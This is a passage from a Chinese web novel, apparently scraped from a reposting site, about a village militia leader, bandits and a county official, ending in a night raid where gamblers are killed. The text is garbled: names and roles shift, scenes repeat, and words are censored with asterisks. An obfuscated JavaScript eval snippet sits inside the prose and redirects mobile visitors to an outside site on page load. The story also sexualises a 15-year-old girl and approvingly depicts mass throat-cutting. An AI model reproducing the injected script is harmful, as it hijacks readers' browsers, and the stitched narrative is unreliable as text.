顾明远哪儿见过这等场面,还不赶紧抓住机会,及时行乐? 突然,一个小喽啰连滚带爬地冲了进来,差点儿没把门槛给撞断: “报……报告四当家的,大事不好了!官……官府的人来啦!” 顾明远吓得一个哆嗦,酒醒了大半,他慌忙推开怀里的女人,结结巴巴地喊道: “快… 第一百六十八章 …快躲起来!” 话音未落,几个小妾还没来得及从他怀里钻出来,郑县尉一行人已经大喇喇地出现在了门口,那架势,就跟回自己家一样随意。 也难怪,谁让肥掌柜每次回自己家,还得让看门的进去通报一声? 这不明摆着此地无银三百两吗? 郑县尉可不是傻子,哪能看不出这其中的门道? 二话不说领着人硬闯进去,来了个瓮中捉鳖。 结果,好巧不巧,正好撞破了这香艳的一幕。 暖烘烘的阁子里,一个穿得人模狗样的年轻人,正和几个未着寸缕的女子缠绵…… 那画面,简直让人没眼看! “这……这……” 郑县尉也傻了眼,指着眼前这让人心跳加速的场面,半天说不出一句囫囵话来。 好不容易缓过神来,他才结结巴巴地问道: “庞……庞掌柜,这……这几位,该不会都是你的小妾吧?” 肥掌柜的脸色,那叫一个五彩缤纷,比开了染坊还热闹。 头顶上的绿帽子,一顶接一顶,都快赶上批发市场了。 这滋味,真是谁绿谁知道! 更让他感到难堪的是,郑县尉也不是什么正人君子。 这几个小妾里头,有那么一两个,跟他也有过一腿。 您可千万别以为郑县尉这是以权谋私,欺男霸女。 在大元朝,朋友之间互换个把小妾,那是再正常不过的事情。 送小妾都跟送白菜似的,让小妾陪贵客睡个觉,那更是家常便饭。 别不信,现实有时候比小说还离谱。 古代的那些个王公贵族,荒淫无耻起来,真是让人想都不敢想! 肥掌柜一看这情形,知道自己不出面是不行了。 万一顾明远这煞星被官府抓了,自己那宝贝儿子的性命可就悬了。 “县尉大人,您……您听我解释,这……这位是我一个远房的表侄,名叫顾峰……” 顾明远是官府通缉的要犯,为了不引人注目,平时都用顾峰这个假名字。 郑县尉听了这话,差点儿没气歪了鼻子。 好你个熊麻山,真把老子当三岁小孩儿哄呢? 朋友之间互相玩几个小妾,这事儿倒也不稀奇! 让小妾陪贵客风流快活,这事儿也不是没有! 可**,老子还真没见过让小妾跟自家远房表侄一起……还玩得这么没羞没臊的? 这**,连老子都没享受过的待遇啊! 郑县尉越想越气,指着顾明远吼道:“你,说你呢,给老子滚过来!” 他嘴上骂着,目光不自觉地在肥掌柜那几个小妾身上来回打量。 啧啧,这家伙玩得可真够刺激的,老子都没这么玩过! 顾明远心里那叫一个七上八下,他虽然是个**不眨眼的土匪头子,但也不是没脑子的蠢货,自然清楚眼下的局势。 他在盘算着,要不要趁着官差不备,来个鱼死网破,把这狗官给做了? “站住!你腰里揣的什么东西?给老子掏出来!” 就在顾明远犹豫不决的时候,郑县尉身边的严都生突然一声厉喝,把所有人的注意力都吸引了过去。 严明德能在县衙里混这么多年,凭的就是这双火眼金睛。 他一眼就看出顾明远腰里藏着凶器。 顾明远心里“咯噔”一下,暗道不妙,看来这清阳县还真**有高手,这下可真是麻烦了! 他心里明白,自己这边毫无防备,真要跟这帮衙役动起手来,恐怕讨不到什么好果子吃。 肥掌柜一看这阵势,吓得差点儿没尿裤子。 顾明远被抓,他当然是乐见其成,巴不得这帮土匪早点儿死绝。 可问题是,他不想**啊! “吴大人,严都生,息怒,息怒,有话好说,有话好说……” 肥掌柜点头哈腰,一个劲儿地赔笑脸,就差没给郑县尉跪下了。 郑县尉冷着一张脸,一声不吭。 严都生也心领神会,没有再下令抓人。 他们都在等,等着肥掌柜接下来的“好说”。 可惜,肥掌柜现在穷得叮当响,身上连一个铜板都没有,拿什么“好说”? 他急得像热锅上的蚂蚁,团团乱转,只能拼命地朝顾明远挤眉弄眼,希望这土匪头子能领会自己的意思。 …… 与此同时,青龙村。 夜幕低垂,苏阳心心念念的“福利”终于姗姗来迟。 当然,这“福利”可不是什么香艳的场面,跟男欢女爱没有半毛钱关系。 钱晓 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“哎呦,小姐饶命!”翠环吃痛,连声讨饶,“好小姐,我再也不敢了。不过话说回来,你跟那小公子都那样了,还不是早晚的事儿?与其在这儿受冻,还不如……” 翠环话还没说完,钱晓柔就羞得捂住了她的嘴:“不许说了!再说我可真生气了!”天刚蒙蒙亮,苏阳就一个挺身从炕上坐了起来。 没法不醒,昨晚胡思乱想了大半宿,两只眼睛红得像兔子,眼皮还一个劲儿地打架。 昨晚,面对两个娇滴滴的小美人儿,苏阳经历了一场天人交战。 林绮娘那丫头是真敢脱啊! 十五岁的小身板,真要和她睡一个被窝…… 最终,苏阳还是怂了。 他倒不是怕负责,主要是怕真闹出人命。 小丫头片子不知轻重,这要是真怀上了,可不是闹着玩的,大人小孩都危险! 至于钱晓柔和翠环…… 苏阳压根儿就没敢多想。 大户人家的小姐,规矩多,脸皮薄,哪像林绮娘那般没心没肺,整天就知道疯玩? 钱晓柔主仆那边算是消停了,青虎岭那边,四当家顾明远也算是有惊无险地逃过一劫。 第一百六十九章 肥掌柜暗示得那叫一个明显,顾明远再不开窍,那可真就白混了。 他一咬牙,一跺脚,不光忍痛大出血,孝敬了郑县尉一大笔银子,还做东请客,让郑县尉和严都生度过了一个极其美妙的夜晚。 不过话说回来,顾明远能这么快想通,也多亏了他手下那帮兄弟。 为啥? 因为在去快活之前,钱福生死活拉着顾明远,非要让他把手下所有人都叫出来认一遍。 美其名曰:给郑县尉一个交代。 孙玉哥站在一众官老爷面前,腿肚子都转筋了,差点没直接跪下。 他一个字一个字地往外蹦,硬是没从那群五大三粗的土匪里,找到绑走钱晓柔主仆的“真凶”。 废话,他能认出来就见鬼了! 那几个倒霉蛋,早就被苏阳送去见了阎王! 要说这事也巧。 那四个绑匪,一个没跑了,全折在了小树林。 剩下的一个弓哥,拼死逃回了青虎岭。 他倒是想报信,可惜伤势太重,话都没说明白,就腿一蹬,见了阎王。 临死前,弓哥就憋出一句话:“凤子楼……肥掌柜……抢……兄弟们……” 苏阳还不知道这事,他正琢磨着,这土匪跟肥掌柜早晚得对上。 到时候,只要两边一对口供,自己干的那些缺德事,还不立马就得露馅? 所以,晨练刚一结束,苏阳就拍了拍巴掌,把所有人都召集了过来。 “兄弟们,告诉你们个事儿!” 苏阳清了清嗓子,故意卖了个关子。 “啥事啊,阳哥儿?” 二娃子最积极,第一个跳出来问。 “我要招人!” 苏阳这话一出口,顿时像在滚油锅里倒进了一瓢凉水,立马就炸开了锅! “招人?阳哥儿,你要招多少人啊?” “是不是还像上次一样,只要年轻力壮的?” “阳哥儿,你看我行不行?我今年十八,身体棒着呢!” “……” 大伙儿七嘴八舌,都想抓住这个机会。 苏阳在青龙村的威望,那可不是盖的。 谁不想跟着他混? “都别吵吵!” 苏阳提高了嗓门,把众人的议论声压了下去。 “这次招人,规矩跟上次一样,还是只要十几二十岁的小伙子。不过……” 他顿了顿,目光扫过众人, “名额有限,想进来的,得先过了我这一关!” 这话一出,有人欢喜有人愁。 “阳哥儿,那……那俺们村外头的亲戚能来吗?” 二娃子挠了挠头,小心翼翼地问。 “是啊,阳哥儿,我大舅哥也想跟着你干,他力气可大了!” 虎蛋也赶紧附和。 “我二姨夫……” “我三叔家的……” “……” 得,这下更热闹了。 在古代,宗族观念极强,亲戚之间的关系,可比后世亲近多了。 那时候,生产力低下,很多事情都要靠亲戚朋友互相帮衬才能完成。 所以,谁家要是有个出息的亲戚,那可真是“一人得道,鸡犬升天”。 苏阳皱着眉头想了想,感觉扩招其实挺不错。 青龙村就这么点人,自己又只要年轻力壮的小伙子,能挑的人本来就不多。 可要是不让外村的人来,自己这队伍啥时候才能壮大起来? 想到这里,苏阳心里有了主意: “行,外村的亲戚也可以来。不过,得有人担保!品行不端的,我可不要!谁担保,谁负责,到时候出了事,可别怪我不讲情面!” 这话一出口,原本还闹哄哄的院子,顿时安静了不少。 苏阳的脾气,大伙儿都清楚。 别看他平时笑嘻嘻的,真要是发起火来,那可不是闹着玩的! 既然说了要担保,那肯定不是说着玩。 真要出了事,担保人绝对跑不了! 大伙儿的好日子才刚过了几天,谁也不想惹上麻烦。 万一担保的人不靠谱,把自己给连累了,到时候可真是哭都没地方哭去! …… 早饭的时候,一众小子的眼睛都直勾勾的。 苏阳可不兴“男女授受不亲”那一套。 在他家,大伙儿都是一起吃饭,最后无非是分开坐。 钱晓柔和翠环的出现,让小子们食欲大增。 什么叫“秀色可餐”? 这就是活生生的例子! 平时顶多吃两碗饭的,今天愣是干了三大碗,还觉得没吃饱! 小子们是吃美了,可钱晓柔和翠环却觉得浑身不自在。 这么多双眼睛盯着,换了谁也吃不香啊! 更何况,苏阳家的饭菜…… 嗯,怎么说呢,跟 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钱晓柔家的早点,都是些精巧的点心,每一个都只有指甲盖大小。 苏阳家倒好,直接上了大白馒头! 那馒头,一个个白白胖胖的,比城里卖的那些,不知道要大上多少倍! 可就是这么个“傻大个”,吃起来竟然出奇地松软香甜,比杨家那些精致点心,不知道要好吃多少倍! 除了大馒头,还有一盘油汪汪、香喷喷的猪肉炒芽菜。 这就是最近传得神乎其神的,凤子楼的招牌菜? 果然名不虚传! 说起这玉露春笋,钱晓柔和翠环自然是早有耳闻。 可钱晓柔一个大家闺秀,总不能为了口吃的,就抛头露面跑去酒楼吃饭吧? 赵老爷也不会允许自家女儿抛头露面。 其实,不只是豆芽香,苏阳家的做菜方法,也让两个小姑娘开了眼界。 她们哪见过这种做法啊? 别说她们了,就连凤子楼的肥掌柜,估计都不知道炒菜是啥! 这道菜一上桌,两个小姑娘的眼睛都直了,哪还顾得上被人围观? 对两个饭量小得可怜的小姑娘来说,今天这顿早饭,绝对是破天荒头一回。 第一百七十章 不光吃了一大碗香喷喷的小米粥,还干掉了一个顶饱的大馒头! 这饭量,把一众小子们都给惊呆了。 合着,城里的小娘子,也不是个个都娇滴滴的,饭量小的可怜啊! 吃饱喝足,歇了一会儿,苏阳就招呼着一众小子们开始操练。 刚练了没一会儿,就听见一阵急促的脚步声传来。 “出啥事了?” 苏阳眉头一皱,停下了手里的动作。 只见朱木匠和许木匠二人,脸色煞白,跌跌撞撞地跑了过来, “小西家……不好了……” 朱木匠上气不接下气,话都说不利索了。 “出啥事了?慢点说!” 苏阳心里咯噔一下,隐隐有种不好的预感。 “俺们……俺们家……着火了!” 许木匠指着村外的方向,声音都带着哭腔。 “啥?!” 苏阳一惊,差点没跳起来。 这大白天的,怎么会突然着火? “俺们……俺们想请个假,回去看看……” 两个石匠眼巴巴地望着苏阳,满脸都是焦急和担忧。晨曦微露,青龙村还笼罩在一片宁静之中。 突然,一阵急促的脚步声打破了这份静谧,两个石匠的亲戚面色仓皇地闯入村中。 “杨师傅,江师傅,不好了!昨晚你们两家……都走水了!” 来人上气不接下气,话都说不利索,仿佛刚从火场里逃出来。 朱木匠和许木匠如同被雷劈中,手里的工具“哐当”一声掉在地上,震起一片尘土,发出刺耳的响声。 “你说啥?走水?再说一遍!” 朱木匠一个箭步冲上前,蒲扇般的大手死死抓住报信人的胳膊,像是要把他捏碎一般。 他瞪大了眼睛,布满血丝的眼珠子里写满了难以置信和恐惧。 “家里人呢?我婆娘和娃呢?她们咋样了?” 他声音嘶哑,每一个字都像是从喉咙深处挤出来的,带着绝望的颤抖。 报信人低下头,被朱木匠那要**的眼神吓得浑身发抖, 他嘴唇哆嗦着,声音越来越低,像蚊子哼哼一样。 “没……都没了……火太大了……房子烧塌了……里头的人……一个……都没跑出来……” 轰! 晴天霹雳! 朱木匠和许木匠只觉得脑子里“嗡”的一声,天旋地转,眼前一黑。 两人身体晃了几晃,要不是旁边的人眼疾手快扶住了他们,恐怕已经瘫倒在地。 他们来青龙村做工,带上了大儿子,婆娘和小儿女都留在三溪镇的家中,想着多挣几个钱,给家人改善生活。 万万没想到,这才几天功夫,竟然就阴阳两隔,家破人亡! 苏阳站在人群外围,把这一切都看在眼里,心沉到了谷底。 他眉头紧锁,两道浓眉几乎拧成了一个川字。 两家同时失火?而且都烧得这么彻底,连一个人都没能逃出来? 这绝不可能是什么意外!巧合得过分了,反而更像是人为。 他心里跟明镜似的,这背后一定隐藏着什么见不得人的勾当,多半和眼煞豹脱不了干系。 “两位师傅,节哀。” 苏阳分开人群,走到两个石匠面前,声音低沉,尽量让自己听起来平静一些。 “现在不是哭的时候,这火来得蹊跷,我怀疑有人故意纵火。” 两位石匠悲痛欲绝,身体不住地颤抖,泪水像断了线的珠子一样滚落,嘴唇哆嗦着,却说不出一句完整的话来。 丧妻丧子之痛,几乎要把他们击垮。 “东……西家,我们……想回去看看……看看家里……” 许木匠哽咽着,声音嘶哑,像破风箱一样。 苏阳摇了摇头,语气坚决,不容置疑: “两位师傅,我知道你们的心情,可你们现在回去,恐怕不安全。听我的,先留在村里,这事没那么简单,我会查清楚的。” 他顿了顿,目光扫过两个石匠布满血丝的双眼,一字一顿地说: “**放火,天理难容!这件事,我一定会查个水落石出,给你们,给死去的人一个交代!” 两位石匠对视一眼,悲痛、愤怒、犹豫……各种复杂的情绪在他们眼中交织。 他们知道苏阳是为了他们好,可家破人亡的打击太大了,让他们一时失去了理智,只想立刻回到家人的身边,哪怕只剩下一片废墟。 最终,在其他村民和他们儿子的苦苦劝说下,两位石匠还是含泪点了点头,算是同意了苏阳的安排。 苏阳深吸一口气, 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走出几步,陈木匠突然停了下来,他回过头,看着苏阳,眼神复杂。 他没有像之前那样直接跪下磕头,而是深深地鞠了一躬,声音沙哑,却带着坚定: “西家,您放心,我这条老命早就豁出去了!就算拼了这条老命,我也一定把事情查个水落石出!” 两位石匠和他们的儿子站在那里,看着陈木匠远去的背影,眼神中充满了感激和期盼。 他们没有再跪下磕头,只是紧紧地握着拳头,指甲深深地陷进了肉里,手背上青筋暴起。 他们心里清楚,苏阳这是要替他们报仇,替他们死去的家人讨回公道! “西家,我们……” 朱木匠的儿子嘴唇哆嗦着,想说些什么,却又不知道该说什么。 苏阳摆了摆手,示意他不用多说。 他走到几人面前,没有安慰,没有承诺,只是默默地拍了拍他们的肩膀,每一个动作都重若千钧。 此时无声胜有声。 任何的言语都是苍白无力的,只有行动才能表达他此刻的心情。 他心里暗暗发誓,一定要让眼煞豹付出代价,血债血偿! 第一百七十一章 陈木匠办事效率极高,不愧是在三溪镇摸爬滚打多年的老许湖。 孔远山和石头他们几个,也都是苏阳精心挑选出来的,个个都是精明强干、身手敏捷的好手。 天还没完全黑下来,几个人就风尘仆仆地赶了回来,带回了重要的消息。 “二哥,我们打听到了!” 孔远山一路小跑来到苏阳跟前,顾不上擦去额头上的汗珠,兴奋地说道。 “眼煞豹那王八蛋这几天一直躲在他的赌馆里,像个缩头乌龟一样,一步也不敢出门。” “听说他最近得罪了不少人,做了不少亏心事,心虚得很,怕有人找他寻仇。” 苏阳冷笑一声: “哼,他倒是挺有自知之明的!早知今日,何必当初!” “这家伙,坏事做绝,迟早要遭报应!” 他转过身,看着院子里**的一众跃跃欲试的小伙子。 这些年轻人一个个摩拳擦掌,眼中燃烧着熊熊的怒火,恨不得立刻冲到三溪镇,把眼煞豹**万段。 “兄弟们,各位准备就绪没?” 苏阳的声音不大,却清晰地传到了每一个人的耳朵里。 “准备好了!” 小伙子们异口同声地回答,声音洪亮,气势如虹。 “好!今晚,咱们就去会会这个眼煞豹,让他知道,什么叫天网恢恢,疏而不漏!” 苏阳的声音铿锵有力,掷地有声。 “谁是孬种?现在退出还来得及,我不怪他,还会给他留几个看家的。” 苏阳目光扫视一圈,语气平静。 院子里静悄悄的,没有人说话,也没有人后退。 “**,谁要是敢当孬种,老子第一个不放过他!” 突然,人群中爆发出一个粗犷的声音。 “就是!谁要是怕了,以后就别说是青龙村的人!” “咱们跟着阳哥儿,就是要除暴安良,替天行道!” “……” 小伙子们一个个争先恐后地表态,生怕被别人看轻了。 这种时候,谁要是退缩,那就是孬种,以后在村里就别想抬起头来。 “好!既然大家都不怕,那就听我的命令!” 苏阳大手一挥, “记住,咱们这次去,不是打架斗殴,是替天行道,除暴安良!如果有人觉得咱们做错了,现在也可以提出来,我绝不勉强!” 依然没有人说话,所有人都用坚定的眼神看着苏阳。 他们明白,今晚这一趟,是正义之举,是为民除害!是为了给两个石匠一家,给所有被眼煞豹欺压过的人讨回公道! 苏阳点了点头,对大家的反应很满意。 他知道,这些年轻人已经做好了准备,和自己一起,为了正义而战。 为了让大家有充足的体力应对晚上的行动,苏阳特意让林绮娘和王婶准备了丰盛的晚餐。 除了管饱的小米粥和大馒头,还有平日里难得一见的金丝油饼。 金灿灿的油饼,散发着诱人的香味,让人垂涎欲滴。 这可是难得的美味,平日里只有逢年过节才能吃上。 就连钱晓柔和翠环,都忍不住多看了几眼,偷偷咽了几下口水。 “都给我敞开了吃,吃饱了才有力气干活!” 苏阳踩着院中那圆形石台,看着一张张年轻而坚定的脸庞,声音洪亮: “今晚,咱们就让眼煞豹那**知道,什么叫善恶到头终有报!什么叫多行不义必自毙!”“阳哥儿,发话吧!兄弟们都懂这理儿!谁要是怂了,咱就不认他这个兄弟!那些个没卵子的怂包,赶紧滚蛋,省得留在这儿碍眼!” 一个嗓门粗大的汉子吼了一嗓子,打破了先前的沉寂。 “说得对!咱这是替天行道!阳哥儿,您只管下令!谁要是敢眨一下眼,谁就是个白眼狼!” 另一人紧跟着附和,话里透着一股子狠劲。 “阳哥儿!石匠师傅们给咱干活,那眼煞豹为了几个臭钱,烧了人家的房子,还害了人家的性命!这仇,咱必须报!老天爷都看着呢!” 这次说话的是个小伙子,声音不高,却异常坚定。 “……” 一时间,群情激昂,请战声此起彼伏。 苏阳站在高处,望着一张张年轻而坚定的脸庞,心中也是热血翻涌。 他抬手虚压,示意众人安静。 喧闹声渐渐平息,所有人的目光都聚焦在苏阳身上。 小丫鬟翠环躲在钱晓柔身后,探出半个脑袋,一双亮晶晶的眼睛里满是兴奋: “小姐,小姐你看!小公子说话真有劲!多威风!” 钱晓柔却不像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16106253|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翠环那般外露,只是微微侧过脸,用眼角的余光偷瞄着人群中央的苏阳。 就这一眼,便让这位闺阁千金羞红了脸颊,像是熟透的蜜桃。 钱晓柔平日里很少和男子接触,更别提像苏阳这般年轻英俊,又充满活力的少年郎。 更何况,昨天在林子里还发生了那档子事…… 苏阳不仅把她压在身下,还对她动手动脚…… 虽说大元朝民风开放,可她毕竟是大家闺秀,从小受的教育可都是《闺范》那一套。 出了这种事,让她以后还怎么嫁人? 难不成,真要像翠环说的那样,只能嫁给这个“小公子”了? 除非……她真能狠下心,把这事儿给忘了,就当是…… 可这又谈何容易? 她轻轻叹了口气,眼神中流露出一丝迷茫和无措。 苏阳敏锐地捕捉到了人群后方那一闪而逝的异样,但他并没有多想。 此刻,正是鼓舞士气、准备出发的紧要关头,容不得他有半点分心。 他环顾四周,见一众小子们都已摩拳擦掌,跃跃欲试,便不再多言,大手一挥: “出发!” 此行前往三溪镇,苏阳备了一辆马车,几匹快马。 马车是为可能出现的伤员准备的。 至于快马,除了苏阳自己骑乘之外,还给几个骑术好的小子配上了。 倒不是说其他人不会骑马,只是骑术实在不怎么样,平时骑着溜溜还行,真要跑起来,不摔个仰八叉才怪。 苏阳并没有遮遮掩掩,就这么大张旗鼓地带着人出发了。 村里**多都知道石匠家里的遭遇,也都知道苏阳这次是去干什么。 虽说年轻小伙们的家人都提心吊胆,却没人站出来阻拦。 为啥? 拦不住是一方面,更重要的是,他们都觉得苏阳做得对! 谁不想自家孩子跟着一个重情义的人? 别说一起干活的石匠了,就是村里其他人受了欺负,苏阳肯定也不会不管! 这年头,老百姓的日子都不好过,能有个靠山,那是做梦都盼不来的好事。 眼看着苏阳一行人浩浩荡荡地出了村,赖志成此刻心情复杂到**。 事到如今,他是彻底拿苏二没办法了,只能躺平等别人来救。 第一百七十二章 可谁又能收拾得了苏二呢? 指望青虎岭的那些个土匪? 赖志成是想都不敢想了。 上次的事情已经让他元气大伤,再和那些人扯上关系,还不知道要出什么乱子! 他眯缝着眼睛,闪过一道寒光,喃喃自语: “苏二,你别得意,早晚有人收拾你!” 苏阳就是要让村里人都知道,他带出去的,是一支什么样的队伍。 这是一支为兄弟两肋插刀的队伍! 这么做,既能吸引更多有血性的人加入,也能震慑住那些心怀鬼胎的家伙,让他们不敢轻易招惹自己! 从青龙村到三溪镇,快马加鞭,小半天的路程。 苏阳一行人经常操练,脚程快,天刚擦黑就到了地方。 苏阳没有贸然带人进镇,而是选择在镇外的树林里暂时休整,等后半夜再动手。 三溪镇虽然有镇墙,但毕竟不是什么军事要塞,防卫并不严密。 更何况,陈木匠早就把进镇子的路摸得一清二楚。 位于镇子的西北方向,有一段镇墙塌了个口子,直通镇外的乱葬岗。 这地方平时别说人了,连个鬼影子都见不着。 大元朝的人信鬼神,对这种地方都避之不及,尤其是晚上,更没人敢靠近。 可苏阳偏偏就选了这条路。 他要借着这个机会,好好练练这些小子的胆子。 一群年轻小伙,一听说要从乱葬岗里穿过去,顿时都吓得脸色煞白,两腿发软。 苏阳把这一切都看在眼里,他知道,这个时候,必须要说点什么了。 “怕啥?咱们是去做好事,又不是去干坏事!一身正气,还怕那些个孤魂野鬼不成?” 苏阳的声音洪亮,带着一股子不容置疑的威严。 “再说了,那眼煞豹作恶多端,不知道害**多少人!乱葬岗里那些个冤魂,说不定还等着咱们去给他们报仇呢!” 他顿了顿,语气变得更加激昂: “兄弟们,都给我把腰杆挺直了!拿出点精气神来!别让那些死鬼小瞧了咱们!” “对!怕个鸟!咱这是替天行道,那些死鬼要是敢来,咱就让他们再死一次!” “就是!阳哥儿说得对,咱怕啥?该怕的是他们!” “……” 在苏阳的鼓舞下,众人原本的恐惧和不安逐渐消散,取而代之的是一种莫名的兴奋和激动。 眼看着士气已经被重新点燃,时间也到点了。 苏阳不再耽搁,在陈木匠的带领下,领着一群人踏入了乱葬岗。 这一路,出奇的顺利。 别说鬼了,连个鬼影子都没见着。 直到穿过乱葬岗,从镇墙的缺口进了镇子,众人才长长地舒了一口气。 “看来阳哥儿说得没错,咱这是做好事,连鬼都帮咱!” “那是!也不看看咱阳哥儿是啥人!” “……” 一群小子们小声地议论着,看向苏阳的眼神里,更多了几分敬佩和信服。 进了镇子之后,一切都进行得异常顺利。 大冬天的,又是在深更半夜,街上空无一人。 就连原本应该在镇门口巡逻的几个差役,也早就躲进屋子里烤火去了。 陈木匠对眼煞豹的老巢了如指掌,带着众人七拐八拐,转眼间就到达目的地。 苏阳事先早就打探清楚了赌馆周围的地形,甚至还画了一张草图。 早在出发之前,他就已经根据地形,制定了详细的行动计划,并对每个人都做了明确的分工。 此刻,根本无需再多言,只一个手势,众人便按照事先的安排,悄无声息地散开,各自就位。 苏阳本人则作为机动力量,随时准备支援任何一个可能出现状况的地点。 大约过了三分钟,陈木生回到了苏阳身边,压低声音汇报道: “二哥,都准备妥当了。” 苏阳点点头,同样低声说道: “行动!”夜幕低垂,更鼓敲过三巡。 赌馆内,灯笼摇曳,酒气混着汗臭,熏得人头晕脑胀。 眼煞豹歪坐在太师椅上,手里转着一对铁胆,眯缝着眼,听着手下们吹嘘白天的“威风”。 “虎哥,您是没瞧见!”一个尖嘴猴腮的家伙,手里比划着,声音尖细刺耳: “镇上那帮孙子,见了咱们,一个个点头哈腰,跟三孙子似的!就差没跪下来叫爷爷了!” “哈哈哈哈!” 一阵哄笑声中,一个满脸络腮胡的壮汉,猛地一拍桌子,嗡声嗡气地吼道: “**!就该给他们点颜色瞧瞧!谁让他们跟青龙村那帮兔崽子穿一条裤子?活腻歪了!” “就是,虎哥早该出手了!” 旁边几个喽 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苏阳的计划是:先控制前后门,再清理外围,最后瓮中捉鳖。 而这第一步,就交给了身手最好的周阳和林韧。 两人落地后,没有丝毫停顿,直接扑向了最近的耳房。 耳房里,一个看门的泼皮正呼呼大睡,完全没有察觉到危险的临近。 周阳做了个手势。 林韧立刻会意,从腰间抽出一块黑布。 两人配合默契,一个箭步冲上去。 林韧将黑布往那泼皮脸上一蒙,用力一绞! 周阳则同时出手,**在那泼皮脖子上一抹。 整个过程,一气呵成,没有发出一丝声响。 那泼皮连哼都没哼一声,就见了阎王。 干掉看门的,周阳和林韧迅速打开院门。 早已埋伏在外面的一队人马,立刻冲了进来。 紧接着,后门也被如法炮制地打开。 另一队人马也悄无声息地潜入了赌馆。 与此同时,几个身影攀上了厢房屋顶。 他们弯弓搭箭,瞄准了院子里的各个角落。 一切都在按计划进行。 第一百七十三章 最后一队人,由路旭东带领。 他们的任务是:清理厢房里睡觉的泼皮。 路旭东的变化最大。 以前,他就是个老实巴交的庄稼汉,见人就脸红。 可自从跟了苏阳,杀了几个土匪之后,像是开了窍,整个人都透着一股狠劲。 他带着人,像一群夜猫子,在厢房里穿梭。 发现目标,根本不废话,直接蒙头,割喉。 动作熟练得让人心惊。 他不仅自己动手,还让手下的小子们轮流上阵。 美其名曰:“练手”。 他心里清楚,苏阳这是在培养骨干。 这种机会,可不能错过。 苏阳则站在院子中央,双手抱在胸前,冷眼旁观。 他没打算亲自动手。 他的目的是锻炼队伍,而不是逞个人英雄。 苏阳故意压低声音,对周阳和路旭东叮嘱: “记住,一个不留!下手要快,要狠!别弄出太大动静!” 黑暗中,周阳和路旭东重重地点了点头。 几个呼吸后,西厢房里突然传出一声惊恐的尖叫! “啊——!” 这声音,像是一把尖刀,划破了夜的寂静。 路旭东的心猛地一沉! 坏了! 原来,在清理东厢房的时候,出了岔子。 一个泼皮被脚步声惊醒,刚一睁眼,就看到同伴被人割了喉咙! 他吓得魂飞魄散,本能地发出了一声尖叫。 路旭东反应极快,一个箭步冲上去,想要捂住他的嘴。 可已经晚了。 那泼皮的叫声,已经惊动了正屋里的人。 “什么声音?!” 正屋里,原本还在划拳喝酒的眼煞豹等人,被这一声尖叫吓得一个激灵。 这声音,他们太熟悉了! 这是人临死前的惨叫! 几乎是同时,几个人不约而同地吹灭了屋里的灯笼。 屋子里顿时陷入一片漆黑。 苏阳眉头紧锁。 这帮家伙,反应倒是挺快。 原本,苏阳是想打他们个措手不及。 现在,双方都成了瞎子,优势荡然无存。 “石头!别贸然进去!” 苏阳立刻改变了计划。 他大声喊道: “旭东!去柴房找柴火!越多越好!” “周阳!你去厨房看看有没有油!给老子把房子点了!” “其他人,守住门口,别让他们跑了!” 苏阳的声音,在夜空中回荡。 屋里,眼煞豹等人听得清清楚楚。 “虎哥,他们要放火!” “怎么办?” “跟他们拼了!” “不行!咱们在暗处,他们在明处,拼不过!” “那就跑!从后窗户跑!” “……” 喽啰们乱成一团。 眼煞豹咬了咬牙,当机立断: “撤!从后窗户走!”眼煞豹这家伙,在道上混了这么些年,凭的就是一个“苟”字诀。 说是让兄弟们先撤,他自个儿却有意无意地坠在了后头。 那些个没啥心眼的泼皮,一听老麻发了话,哪还顾得上其他,一个个脚底抹油,溜得比兔子还快,生怕慢了一步,成了替死鬼。 其中有两个练家子,身手那是真叫一个麻利,“嗖嗖”两下,跟两道闪电似的,从后方两侧窗口一跃而出! 紧跟在他们后头的那两个,功夫也不赖,刚扒上窗台。 “呃啊……” “呀……” 外面突然传来两声鬼哭狼嚎,那动静,比**爹娘还惨,吓得他俩手一软,直接“咣当”一声,被反弹回室内,还顺带砸倒了后面两个倒霉蛋! 这下,屋里头直接乱成了一锅粥: “虎……虎哥,后窗户有人把守,这……这可咋办啊?” 一个平日里还算机灵的小头目,这会儿也慌了神,声音都变了调,明显是吓破了胆。 毕明志带着一个战斗小组,就蹲在后窗户外面。 那两个练家子刚露头,就被两杆**给捅了个对穿,直接去阴曹地府报了道。 毕明志手里紧握着一把上了弦的**,就卡在两个后窗户中间的位置,眼睛瞪得像牛眼,一眨不眨地盯着,专等那些不开眼的送上门来。 眼瞅着手底下四个新兵蛋子因为太过紧张,把**一股脑全给捅了出去,毕明志那个火大啊,差点没忍住破口大骂。 行动之前,他可是三令五申,一再强调要稳扎稳打,尽量别把手里的家伙一次性全给扔出去,留点后手。 结果倒好,这帮兔崽子还是给他捅了篓子。 万一这会儿再有人从 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这年头的房子跟后世可不一样,为了所谓的“藏风聚气”,不漏财,后窗户通常都开得贼小。 所以,后窗户那地方,一个人想硬挤过去都够呛,更何况外面还被人给堵**,想从那里逃命,那真是比登天还难。 前窗户可就宽敞多了,不光能同时容两个人一起往外蹦,还能顺带着给外面守着的人来两下子。 “哐!哐!” 两声震耳欲聋的响动,那是窗户被砸了个稀巴烂的声音。 四个泼皮,两两一组,如同饿虎扑食一般,前方双窗同时窜出身影。 可惜,他们严重低估了眼煞豹的“江湖道义”,更低估了苏阳这帮人的心狠手辣。 这四个可怜虫甚至还没来得及落地,就被几杆寒光闪闪的**给捅成了马蜂窝,死得那叫一个憋屈! 苏阳嘴上说得好听,让路旭东去找柴火,让周阳去找油,实际上压根就没让他们动弹。 他早就暗中做了安排,让这两人悄悄地埋伏在了窗户和屋门的两侧,为的就是给石头那一组人增援,加强火力。 每个窗户旁边都埋伏了两个好手,四个地痞混混突然现身,八杆**就跟长了眼睛似的,齐刷刷地捅了过去,一人两杆,绝不偏袒任何一方。 苏阳站在院子里,瞧见这一幕,也不由得暗自皱眉。 第一百七十四章 两侧窗户埋伏的人都出了手,万一这时候再有人往外冲,可咋整? 